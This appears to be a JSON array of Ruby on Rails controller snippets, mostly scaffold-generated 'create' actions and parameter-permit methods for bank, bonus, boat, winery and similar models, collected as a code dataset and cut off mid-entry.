[ "def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to @banco, notice: 'Banco fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @banco }\n else\n format.html { render :new }\n format.json { render json: @banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to(:bancos, :notice => t('activerecord.successful.messages.created', :model => @banco.class.model_name.human))}\n format.json { render :show, status: :created, location: @banco }\n else\n format.html { render :new }\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end\n end", "def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to bancos_url, notice: 'Banco was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @socio_dados_banco = SocioDadosBanco.new(socio_dados_banco_params)\n\n respond_to do |format|\n if @socio_dados_banco.save\n format.html { redirect_to @socio_dados_banco, notice: 'Socio dados banco was successfully created.' }\n format.json { render action: 'show', status: :created, location: @socio_dados_banco }\n else\n format.html { render action: 'new' }\n format.json { render json: @socio_dados_banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bonificacion = Bonificacion.new(bonificacion_params)\n\n respond_to do |format|\n if @bonificacion.save\n format.html { redirect_to @bonificacion, notice: 'Bonificacion was successfully created.' }\n format.json { render :show, status: :created, location: @bonificacion }\n else\n format.html { render :new }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bonificacion = Bonificacion.new(bonificacion_params)\n\n respond_to do |format|\n if @bonificacion.save\n format.html { redirect_to @bonificacion, notice: 'Bonificacion was successfully created.' }\n format.json { render :show, status: :created, location: @bonificacion }\n else\n format.html { render :new }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nhaxuatban = Nhaxuatban.new(nhaxuatban_params)\n\n respond_to do |format|\n if @nhaxuatban.save\n format.html { redirect_to @nhaxuatban, notice: \"Nhaxuatban was successfully created.\" }\n format.json { render :show, status: :created, location: @nhaxuatban }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @nhaxuatban.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def banesco_params\n params.require(:banesco).permit(:category_id, :category_type, :monto, :balance, :cuenta, :comprobante_type, :n_factura, :description, :razon_social_id, :date_of, :forma_de_pago, :forma_de_pago_nro, :receiver)\n end", "def banco_params\n params.require(:banco).permit(:banco, :tipo_cuenta)\n end", "def banco_params\n params.require(:banco).permit(:codigo, :nome)\n end", "def banco_params\n params.require(:banco).permit(:descricao, :codigo)\n end", "def create\n @bonificacion = Bonificacion.new(bonificacion_params)\n\n respond_to do |format|\n if @bonificacion.save\n format.html { redirect_to @bonificacion, notice: 'Bonificación fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @bonificacion }\n else\n format.html { render :new }\n format.json { render json: @bonificacion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n begin\n data = saldo_params.dig('data')\n bancos = saldo_params.dig('bancos')\n\n bancos.each do |banco|\n Saldo.create({data: data, banco_id: banco.dig('id'), valor: banco.dig('valor')})\n end\n \n respond_to do |format|\n format.html { redirect_to bancos_path, notice: 'Saldos criados com sucesso.' }\n format.json { render :show, status: :created }\n end\n rescue => exception\n respond_to do |format|\n format.html { redirect_to bancos_path, notice: 'Erro ao criar os saldos.' }\n format.json { render status: :unprocessable_entity }\n end\n end\n end", "def banco_params\n params.require(:banco).permit(:codigo, :nome, :codigo_empresa)\n end", "def create\n @bordado = Bordado.new(params[:bordado])\n\n respond_to do |format|\n if @bordado.save\n format.html { redirect_to @bordado, notice: 'Bordado was successfully created.' }\n format.json { render json: @bordado, status: :created, location: @bordado }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bordado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @balada = Balada.new(balada_params)\n\n respond_to do |format|\n if @balada.save\n format.html { redirect_to @balada, notice: 'Balada was successfully created.' }\n format.json { render :show, status: :created, location: @balada }\n else\n format.html { render :new }\n format.json { render json: @balada.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\tboat = Boat.new(boat_params)\n \tif boat.save\n \t\trender json: boat, status: 201\n \tend\n\tend", "def create\n @nha_xuat_ban = NhaXuatBan.new(nha_xuat_ban_params)\n\n respond_to do |format|\n if @nha_xuat_ban.save\n format.html { redirect_to @nha_xuat_ban, notice: \"Nha xuat ban was successfully created.\" }\n format.json { render :show, status: :created, location: @nha_xuat_ban }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @nha_xuat_ban.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bonificacionfact = Bonificacionfact.new(bonificacionfact_params)\n\n respond_to do |format|\n if @bonificacionfact.save\n format.html { redirect_to @bonificacionfact, notice: 'Bonificacionfact was successfully created.' }\n format.json { render :show, status: :created, location: @bonificacionfact }\n else\n format.html { render :new }\n format.json { render json: @bonificacionfact.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @borad = Borad.new(params[:borad])\n\n respond_to do |format|\n if @borad.save\n format.html { redirect_to @borad, :notice => 'Borad was successfully created.' }\n format.json { render :json => @borad, :status => :created, :location => @borad }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @borad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @gastos_balanceado = GastosBalanceado.new(gastos_balanceado_params)\n\n respond_to do |format|\n if @gastos_balanceado.save\n format.html { redirect_to @gastos_balanceado, notice: 'Gastos balanceado was successfully created.' }\n format.json { render :show, status: :created, location: @gastos_balanceado }\n else\n format.html { render :new }\n format.json { render json: @gastos_balanceado.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bico = Bico.new(params[:bico])\n\n respond_to do |format|\n if @bico.save\n format.html { redirect_to @bico, notice: 'Bico was successfully created.' }\n format.json { render json: @bico, status: :created, location: @bico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @sivic_banco = SivicBanco.new(sivic_banco_params)\r\n\r\n respond_to do |format|\r\n if @sivic_banco.save\r\n format.html { redirect_to @sivic_banco, notice: 'Registro inserido com sucesso.' }\r\n format.json { render action: 'show', status: :created, location: @sivic_banco }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @sivic_banco.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def create\n @bourbon = Bourbon.new(bourbon_params)\n\n respond_to do |format|\n if @bourbon.save\n format.html { redirect_to @bourbon, notice: 'Bourbon was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bourbon }\n else\n format.html { render action: 'new' }\n format.json { render json: @bourbon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bloque = Bloque.new(params[:bloque])\n\n if @bloque.save\n render json: @bloque, status: :created, location: @bloque\n else\n render json: @bloque.errors, status: :unprocessable_entity\n end\n end", "def create\n @caballo = Caballo.new(params[:caballo])\n\n respond_to do |format|\n if @caballo.save\n format.html { redirect_to @caballo, notice: 'Caballo was successfully created.' }\n format.json { render json: @caballo, status: :created, location: @caballo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @caballo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def create\n @bloqueo = Bloqueo.new(bloqueo_params)\n\n respond_to do |format|\n if @bloqueo.save\n format.html { redirect_to @bloqueo, notice: 'Bloqueo was successfully created.' }\n format.json { render :show, status: :created, location: @bloqueo }\n else\n format.html { render :new }\n format.json { render json: @bloqueo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @intranet_financeiro_tipos_cobanca = Intranet::FinanceiroTiposCobanca.new(intranet_financeiro_tipos_cobanca_params)\n\n respond_to do |format|\n if @intranet_financeiro_tipos_cobanca.save\n format.html { redirect_to @intranet_financeiro_tipos_cobanca, notice: \"Financeiro tipos cobanca was successfully created.\" }\n format.json { render :show, status: :created, location: @intranet_financeiro_tipos_cobanca }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @intranet_financeiro_tipos_cobanca.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @borc = Borc.new(params[:borc])\n\n respond_to do |format|\n if @borc.save\n format.html { redirect_to @borc, notice: 'Borc was successfully created.' }\n format.json { render json: @borc, status: :created, location: @borc }\n else\n format.html { render action: \"new\" }\n format.json { render json: @borc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @brodo = Brodo.new(brodo_params)\n\n respond_to do |format|\n if @brodo.save\n format.html { redirect_to @brodo, notice: 'Brodo was successfully created.' }\n format.json { render :show, status: :created, location: @brodo }\n else\n format.html { render :new }\n format.json { render json: @brodo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @busca = Busca.new(busca_params)\n\n respond_to do |format|\n if @busca.save\n format.html { redirect_to @busca, notice: 'Busca was successfully created.' }\n format.json { render :show, status: :created, location: @busca }\n else\n format.html { render :new }\n format.json { render json: @busca.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @debito = Debito.new(debito_params)\n\n respond_to do |format|\n if @debito.save\n format.html { redirect_to @debito, notice: 'Debito was successfully created.' }\n format.json { render :show, status: :created, location: @debito }\n else\n format.html { render :new }\n format.json { render json: @debito.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @intranet_boleto = Intranet::Boleto.new(intranet_boleto_params)\n\n respond_to do |format|\n if @intranet_boleto.save\n format.html { redirect_to @intranet_boleto, notice: \"Boleto was successfully created.\" }\n format.json { render :show, status: :created, location: @intranet_boleto }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @intranet_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @palabra_bolsa = PalabraBolsa.new(palabra_bolsa_params)\n\n respond_to do |format|\n if @palabra_bolsa.save\n format.html { redirect_to @palabra_bolsa, notice: 'Palabra bolsa was successfully created.' }\n format.json { render :show, status: :created, location: @palabra_bolsa }\n else\n format.html { render :new }\n format.json { render json: @palabra_bolsa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @obra = Obra.new(params[:obra])\n\n respond_to do |format|\n if @obra.save\n format.html { redirect_to @obra, notice: 'Obra was successfully created.' }\n format.json { render json: @obra, status: :created, location: @obra }\n else\n format.html { render action: \"new\" }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bonificacion = Bonificacion.new(params[:bonificacion])\n\n respond_to do |format|\n if @bonificacion.save\n format.html { redirect_to(@bonificacion, :notice => 'Bonificacion was successfully created.') }\n format.xml { render :xml => @bonificacion, :status => :created, :location => @bonificacion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bonificacion.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @bocconi = Bocconi.new(bocconi_params)\n\n respond_to do |format|\n if @bocconi.save\n format.html { redirect_to @bocconi, notice: 'Bocconi was successfully created.' }\n format.json { render :show, status: :created, location: @bocconi }\n else\n format.html { render :new }\n format.json { render json: @bocconi.errors, status: :unprocessable_entity }\n end\n end\n end", "def bonificacion_params\n params.require(:bonificacion).permit(:bono, :detalle_bono, :subcategorium_id)\n end", "def bonificacion_params\n params.require(:bonificacion).permit(:detalle_bono, :bono, :subcategorium_id)\n end", "def create\n @balance_criptomoneda = BalanceCriptomoneda.new(balance_criptomoneda_params)\n\n respond_to do |format|\n if @balance_criptomoneda.save\n format.html { redirect_to @balance_criptomoneda, notice: \"Balance criptomoneda was successfully created.\" }\n format.json { render :show, status: :created, location: @balance_criptomoneda }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @balance_criptomoneda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @compte_bancaire = CompteBancaire.new(params[:compte_bancaire])\n\n respond_to do |format|\n if @compte_bancaire.save\n format.html { redirect_to @compte_bancaire, :notice => 'Compte bancaire was successfully created.' }\n format.json { render json :@compte_bancaire, :status => created, :location => :@compte_bancaire }\n else\n format.html { render action :\"new\" }\n format.json { render json :@compte_bancaire.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @becario = Becario.new(becario_params)\n # authorize @becario\n\n respond_to do |format|\n if @becario.save\n format.html { redirect_to @becario, notice: 'Becario was successfully created.' }\n format.json { render :show, status: :created, location: @becario }\n else\n format.html { render :new }\n format.json { render json: @becario.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @banned = Banned.new(banned_params)\n\n respond_to do |format|\n if @banned.save\n format.html { redirect_to @banned, notice: 'Banned was successfully created.' }\n format.json { render :show, status: :created, location: @banned }\n else\n format.html { render :new }\n format.json { render json: @banned.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @obra = Obra.new(obra_params)\n\n respond_to do |format|\n if @obra.save\n format.html { redirect_to @obra, notice: 'Obra foi criada com sucesso!' }\n format.json { render :show, status: :created, location: @obra }\n else\n format.html { render :new }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boc = Boc.new(boc_params)\n\n respond_to do |format|\n if @boc.save\n format.html { redirect_to new_boc_path, notice: 'Boc was successfully created.' }\n format.json { render :show, status: :created, location: @boc }\n else\n format.html { render :new }\n format.json { render json: @boc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @basin = Basin.new(params[:basin])\n\n respond_to do |format|\n if @basin.save\n format.html { redirect_to @basin, notice: 'Basin was successfully created.' }\n format.json { render json: @basin, status: :created, location: @basin }\n else\n format.html { render action: \"new\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @banana = Banana.new(params[:banana])\n\n respond_to do |format|\n if @banana.save\n format.html { redirect_to @banana, :notice => 'Banana was successfully created.' }\n format.json { render :json => @banana, :status => :created, :location => @banana }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @banana.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @bill_cargo = BillCargo.new(params[:bill_cargo])\n\n respond_to do |format|\n if @bill_cargo.save\n format.html { redirect_to @bill_cargo, :flash => {:success => '保存成功'} }\n format.json { render json: @bill_cargo, status: :created, location: @bill_cargo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bill_cargo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @precio_boleto = PrecioBoleto.new(precio_boleto_params)\n\n respond_to do |format|\n if @precio_boleto.save\n format.html { redirect_to @precio_boleto, notice: 'Precio boleto was successfully created.' }\n format.json { render action: 'show', status: :created, location: @precio_boleto }\n else\n format.html { render action: 'new' }\n format.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bnpb = Bnpb.new(bnpb_params)\n\n respond_to do |format|\n if @bnpb.save\n format.html { redirect_to @bnpb, notice: 'Bnpb was successfully created.' }\n format.json { render :show, status: :created, location: @bnpb }\n else\n format.html { render :new }\n format.json { render json: @bnpb.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boat = Boat.new(boat_params)\n\n respond_to do |format|\n if @boat.save\n format.html { redirect_to @boat, notice: 'Boat was successfully created.' }\n format.json { render :show, status: :created, location: @boat }\n else\n format.html { render :new }\n format.json { render json: @boat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bodega = Bodega.new(bodega_params)\n\n respond_to do |format|\n if @bodega.save\n format.html { redirect_to @bodega, notice: 'Se creo correctamemte la Bodega.' }\n format.json { render action: 'show', status: :created, location: @bodega }\n else\n format.html { render action: 'new' }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ban = Ban.new(params[:ban])\n\n respond_to do |format|\n if @ban.save\n flash[:notice] = 'Ban was successfully created.'\n format.html { redirect_to(@ban) }\n format.xml { render :xml => @ban, :status => :created, :location => @ban }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ban.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @boook = Boook.new(boook_params)\n\n respond_to do |format|\n if @boook.save\n format.html { redirect_to @boook, notice: 'Boook was successfully created.' }\n format.json { render :show, status: :created, location: @boook }\n else\n format.html { render :new }\n format.json { render json: @boook.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bahan = Bahan.new(params[:bahan])\n\n respond_to do |format|\n if @bahan.save\n format.html { redirect_to @bahan, notice: 'Bahan was successfully created.' }\n format.json { render json: @bahan, status: :created, location: @bahan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bahan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @obra = Obra.new(obra_params)\n\n respond_to do |format|\n if @obra.save\n format.html { redirect_to @obra, notice: 'Obra was successfully created.' }\n format.json { render action: 'show', status: :created, location: @obra }\n else\n format.html { render action: 'new' }\n format.json { render json: @obra.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bienvenido = Bienvenido.new(bienvenido_params)\n\n respond_to do |format|\n if @bienvenido.save\n format.html { redirect_to @bienvenido, notice: 'Bienvenido was successfully created.' }\n format.json { render :show, status: :created, location: @bienvenido }\n else\n format.html { render :new }\n format.json { render json: @bienvenido.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bodega = Bodega.new(bodega_params)\n\n respond_to do |format|\n if @bodega.save\n actualizar\n format.html { redirect_to @bodega, notice: 'Bodega fue creada exitosamente' }\n format.json { render :show, status: :created, location: @bodega }\n else\n format.html { render :new }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bacon = Bacon.new(bacon_params)\n\n respond_to do |format|\n if @bacon.save\n format.html { redirect_to @bacon, notice: 'Bacon was successfully created.' }\n format.json { render json: { bacon: @bacon }}\n else\n format.html { render action: 'new' }\n format.json { render json: @bacon.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bingo = Bingo.new(bingo_params)\n\n respond_to do |format|\n if @bingo.save\n format.html { redirect_to @bingo, notice: \"Bingo was successfully created.\" }\n format.json { render :show, status: :created, location: @bingo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bingo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @palabras_buscar = PalabrasBuscar.new(params[:palabras_buscar])\n\n respond_to do |format|\n if @palabras_buscar.save\n format.html { redirect_to @palabras_buscar, notice: 'Palabras buscar was successfully created.' }\n format.json { render json: @palabras_buscar, status: :created, location: @palabras_buscar }\n else\n format.html { render action: \"new\" }\n format.json { render json: @palabras_buscar.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bruschettum = Bruschettum.new(params[:bruschettum])\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n\n respond_to do |format|\n if @bruschettum.save\n format.html { redirect_to @bruschettum, notice: 'Bruschetta è stata creata con successo.' }\n format.json { render json: @bruschettum, status: :created, location: @bruschettum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_banesco\n @banesco = Banesco.find(params[:id])\n end", "def create\n\t\n\t@precio_boleto = PrecioBoleto.new(precio_boleto_params)\n\n\trespond_to do |format|\n\tif @precio_boleto.save\n\t\tformat.html { redirect_to @precio_boleto, notice: 'Nuevo Precio de boleto fue creado exitosamente.' }\n\t\tformat.json { render action: 'show', status: :created, location: @precio_boleto }\n\telse\n\t\tformat.html { render action: 'new' }\n\t\tformat.json { render json: @precio_boleto.errors, status: :unprocessable_entity }\n\tend\n\tend\nend", "def create\n @bairro = Bairro.new(bairro_params)\n\n respond_to do |format|\n if @bairro.save\n format.html { redirect_to @bairro, notice: 'Bairro criado com sucesso.' }\n format.json { render :show, status: :created, location: @bairro }\n else\n format.html { render :new }\n format.json { render json: @bairro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bill = Bill.new(bill_params)\n\n if @bill.save\n render json: @bill, status: :created, location: @bill\n else\n render json: @bill.errors, status: :unprocessable_entity\n end\n end", "def create\n @bien = Bien.new(bien_params)\n\n respond_to do |format|\n if @bien.save\n format.html { redirect_to @bien, notice: 'Bien was successfully created.' }\n format.json { render :show, status: :created, location: @bien }\n else\n format.html { render :new }\n format.json { render json: @bien.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tobacco = Tobacco.new(tobacco_params)\n\n respond_to do |format|\n if @tobacco.save\n format.html { redirect_to @tobacco, notice: 'Tobacco was successfully created.' }\n format.json { render :show, status: :created, location: @tobacco }\n else\n format.html { render :new }\n format.json { render json: @tobacco.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @barco = Barco.new(barco_params)\n\n respond_to do |format|\n if @barco.save\n format.html { redirect_to @barco, notice: 'Barco was successfully created.' }\n format.json { render action: 'show', status: :created, location: @barco }\n else\n format.html { render action: 'new' }\n format.json { render json: @barco.errors, status: :unprocessable_entity }\n end\n end\n end", "def sivic_banco_params\r\n params.require(:sivic_banco).permit(:nome_banco, :numr_codigo)\r\n end", "def create\n @boat = @harbour.boats.build(boat_params)\n @boat.save\n redirect_to harbour_boats_path(@harbour)\n # respond_to do |format|\n # if @boat.save\n # format.html { redirect_to harbour_boats_path, notice: 'Boat was successfully created.' }\n # format.json { render :show, status: :created, location: @boat }\n # else\n # format.html { render :new }\n # format.json { render json: @boat.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @registro_bovino = RegistroBovino.new(params[:registro_bovino])\n\n respond_to do |format|\n if @registro_bovino.save\n #format.html { redirect_to @registro_bovino, notice: 'Registro bovino was successfully created.' }\n format.html { redirect_to action: \"index\" }\n format.json { render json: @registro_bovino, status: :created, location: @registro_bovino }\n else\n format.html { render action: \"new\" }\n format.json { render json: @registro_bovino.errors, status: :unprocessable_entity }\n end \n end\n end", "def create\n @kanban = Kanban.new(params[:kanban])\n\n respond_to do |format|\n if @kanban.save\n format.html { redirect_to(@kanban, :notice => 'Kanban was successfully created.') }\n format.xml { render :xml => @kanban, :status => :created, :location => @kanban }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @kanban.errors, :status => :unprocessable_entity }\n end\n end\n end", "def bonificacion_params\n params.require(:bonificacion).permit(:edesal_id, :linea, :porcentaje, :fdesde, :fhasta)\n end", "def create\n @bb = Bb.new(params[:bb])\n\n respond_to do |format|\n if @bb.save\n format.html { redirect_to @bb, notice: 'Bb was successfully created.' }\n format.json { render json: @bb, status: :created, location: @bb }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bb.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @nabe = Nabe.new(params[:nabe])\n\n respond_to do |format|\n if @nabe.save\n format.html { redirect_to @nabe, notice: 'Nabe was successfully created.' }\n format.json { render json: @nabe, status: :created, location: @nabe }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nabe.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @abastecimento = Abastecimento.new(abastecimento_params)\n\n respond_to do |format|\n if @abastecimento.save\n format.html { redirect_to abastecimentos_url, notice: 'Abastecimento criado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @abastecimento.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n #Busca Banco\n @bancos = Banco.where(nil) #Inicia Escopo\n @bancos = @bancos.codigo(params[:codigo]) if params[:codigo].present?\n @bancos = @bancos.descricao(params[:descricao]) if params[:descricao].present?\n #End Busca Banco\n \n @bancos = @bancos.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json:{ bancos: @bancos, total: @bancos.total_entries } }\n end\n end", "def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @producto_bodega = ProductoBodega.new(producto_bodega_params)\n\n respond_to do |format|\n if @producto_bodega.save\n format.html { redirect_to @producto_bodega, notice: 'Producto bodega was successfully created.' }\n format.json { render :show, status: :created, location: @producto_bodega }\n else\n format.html { render :new }\n format.json { render json: @producto_bodega.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boleta = Boleta.new(boleta_params)\n\n respond_to do |format|\n if @boleta.save\n format.html { redirect_to @boleta, notice: 'Boleta was successfully created.' }\n format.json { render :show, status: :created, location: @boleta }\n else\n format.html { render :new }\n format.json { render json: @boleta.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @bancos = Banco.all\n end", "def cobrador_params\n params.require(:cobrador).permit(:clave, :nombre, :zona, :ruta)\n end", "def create\n @estateban = Estateban.new(estateban_params)\n\n respond_to do |format|\n if @estateban.save\n format.html { redirect_to @estateban, notice: 'Estateban was successfully created.' }\n format.json { render :show, status: :created, location: @estateban }\n else\n format.html { render :new }\n format.json { render json: @estateban.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bok = Bok.new(bok_params)\n\n respond_to do |format|\n if @bok.save\n format.html { redirect_to @bok, notice: 'Bok was successfully created.' }\n format.json { render :show, status: :created, location: @bok }\n else\n format.html { render :new }\n format.json { render json: @bok.errors, status: :unprocessable_entity }\n end\n end\n end", "def bourbon_params\n params.require(:bourbon).permit(:name, :alcohol, :image, :description, :toffee, :woody, :tannic, :char, :sweet, :grainy, :vanilla, :corny, :buttery, :heat, :dark_fruit, :citrus_fruit, :floral, :spicy, :herbal, :malty)\n end", "def create\n @sabio = Sabio.new(params[:sabio])\n\n respond_to do |format|\n if @sabio.save\n format.html { redirect_to @sabio, notice: 'El Sabio a sido creado exitosamente.' }\n format.json { render json: @sabio, status: :created, location: @sabio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sabio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n valor = params[:bebida][:valor]\n params[:bebida][:valor] = valor.split( ',').join('.')\n\n @bebida = Bebida.new(bebida_params)\n\n respond_to do |format|\n if @bebida.save\n format.html { redirect_to @bebida, notice: 'Bebida cadastrada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @bebida }\n else\n format.html { render action: 'new' }\n format.json { render json: @bebida.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @barn = Barn.new(barn_params)\n\n respond_to do |format|\n if @barn.save\n format.html { redirect_to @barn, notice: 'Barn was successfully created.' }\n format.json { render :show, status: :created, location: @barn }\n else\n format.html { render :new }\n format.json { render json: @barn.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @avalaible_bank = AvalaibleBank.new(avalaible_bank_params)\n\n respond_to do |format|\n if @avalaible_bank.save\n format.html { redirect_to avalaible_banks_url, notice: 'Banco activado.' }\n format.json { render :show, status: :created, location: @avalaible_bank }\n else\n format.html { render :new }\n format.json { render json: @avalaible_bank.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @billboard = Billboard.new(billboard_params)\n\n respond_to do |format|\n if @billboard.save\n format.html { redirect_to @billboard, notice: 'Billboard was successfully created.' }\n format.json { render :show, status: :created, location: @billboard }\n else\n format.html { render :new }\n format.json { render json: @billboard.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ballot_nominee = BallotNominee.new(ballot_nominee_params)\n\n respond_to do |format|\n if @ballot_nominee.save\n format.html { redirect_to @ballot_nominee, notice: 'Ballot nominee was successfully created.' }\n format.json { render :show, status: :created, location: @ballot_nominee }\n else\n format.html { render :new }\n format.json { render json: @ballot_nominee.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cabinet_balancer = Balancer.new(create_params)\n\n respond_to do |format|\n if @cabinet_balancer.save\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('created') }\n format.json { render :show, status: :created, location: @cabinet_balancer }\n else\n format.html { render :new }\n format.json { render json: @cabinet_balancer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bill_quorum = BillQuorum.new(params[:bill_quorum])\n\n respond_to do |format|\n if @bill_quorum.save\n format.html { redirect_to @bill_quorum, notice: 'Bill Quorum was successfully created.' }\n format.json { render json: @bill_quorum, status: :created, location: @bill_quorum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bill_quorum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bod = Bod.new(bod_params)\n # ask_for_permission(@bod, 'create_bod') and return if current_user.cannot 'create_bod'\n # Calculate balance and save\n last_bod = Bod.last\n (last_bod.nil? or last_bod.balance.nil?) ?\n @bod.balance = @bod.monto : @bod.balance = last_bod.balance + @bod.monto\n #\n # Extract category, if given\n category = params[:bod][:category]\n unless category.nil?\n @bod.category_type, @bod.category_id = category.split(':')\n end\n #\n respond_to do |format|\n if @bod.save\n format.html { redirect_to bods_url, notice: @bod.table_name_to_show.concat(' fue creada satisfactoriamente.') }\n format.json { render :show, status: :created, location: @bod }\n else\n format.html { render :new }\n format.json { render json: @bod.errors, status: :unprocessable_entity }\n end\n end\n end", "def barrio_params\n params.require(:barrio).permit(:zona_id, :nombre, :usuario_id)\n end", "def create\n @brainfart = Brainfart.new(brainfart_params)\n\n respond_to do |format|\n if @brainfart.save\n format.html { redirect_to @brainfart, notice: 'Brainfart was successfully created.' }\n format.json { render :show, status: :created, location: @brainfart }\n else\n format.html { render :new }\n format.json { render json: @brainfart.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bot_bingo_number = BotBingoNumber.new(bot_bingo_number_params)\n\n respond_to do |format|\n if @bot_bingo_number.save\n format.html { redirect_to @bot_bingo_number, notice: 